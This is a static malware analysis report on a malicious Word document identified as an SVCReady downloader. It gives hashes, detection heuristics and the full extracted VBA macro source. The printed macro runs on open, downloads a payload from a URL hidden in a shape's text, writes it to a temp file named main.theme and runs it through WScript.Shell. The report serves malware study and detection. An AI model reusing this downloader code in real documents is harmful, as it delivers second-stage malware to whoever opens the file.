Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 affd7dd7f9bd8ec7…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-06 11:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 776cfc267404692105dc8344b0d65a96 SHA-1: 75f206966888d73a151dab2ff260743b30501002 SHA-256: affd7dd7f9bd8ec763c8646123f414bd25e68352d742a5bd3904ffa42580cf9f
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a function that downloads content from an embedded URL using MSXML2.XMLHTTP60 and saves it to a temporary file named 'main.theme'. It then uses WScript.Shell to execute this downloaded file, likely a second-stage payload. The presence of Shell() and CreateObject calls, along with WScript.Shell usage, strongly indicates a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ecb969c0(b9f8cdb3)
    Set f303740e = CreateObject("wscript.shell")
    Call f303740e.exec(b9f8cdb3)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function ecb969c0(b9f8cdb3)
    Set f303740e = CreateObject("wscript.shell")
    Call f303740e.exec(b9f8cdb3)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "b42370f8"
    Sub AutoOpen()
    Dim cc66aa4d As New ee7c3079
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function ba384d97()
    ba384d97 = Environ("temp") & "\main.theme"
    End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 86dc56fdc0a3759926ad5a0c3601199d8992207c8be4a10a360e726408a114e0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b42370f8"
Sub AutoOpen()
Dim cc66aa4d As New ee7c3079
Dim a85fb37b As String
a85fb37b = f0af9125(ActiveDocument.Shapes(1).AlternativeText)
a2bd59dc = cc66aa4d.aee247c2(a85fb37b)
ae30c26e ba384d97, a2bd59dc
acf9aa36 = cc66aa4d.ecb969c0(da6aa16b & " " & ba384d97)
End Sub

Attribute VB_Name = "ea3bf45d"
Sub ae30c26e(aae59e4a, f4666cc8)
Dim b36e8104
b36e8104 = FreeFile
Open aae59e4a For Output As #b36e8104
Print #b36e8104, a7818924(f4666cc8)
Close #b36e8104
End Sub
Function ba384d97()
ba384d97 = Environ("temp") & "\main.theme"
End Function
Function f0af9125(bb831cda)
'f0af9125 = StrReverse(bb831cda)
f0af9125 = bb831cda
End Function
Sub dd5a70ef()
End Sub
Function a7818924(f4666cc8)
a7818924 = StrConv(f4666cc8, 64)
End Function
Function da6aa16b()
da6aa16b = f0af9125(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "ee7c3079"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aee247c2(a2ffe707)
Dim fa9c305a As Object
Set fa9c305a = New MSXML2.XMLHTTP60
aaa = fa9c305a.Open("GET", a2ffe707, False)
fa9c305a.Send
aee247c2 = fa9c305a.responsebody
End Function
Function ecb969c0(b9f8cdb3)
Set f303740e = CreateObject("wscript.shell")
Call f303740e.exec(b9f8cdb3)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: e8ebcb2b22669351a2cfaf16381a7655a39c88489619cb4ddcfb7657aa55a0d5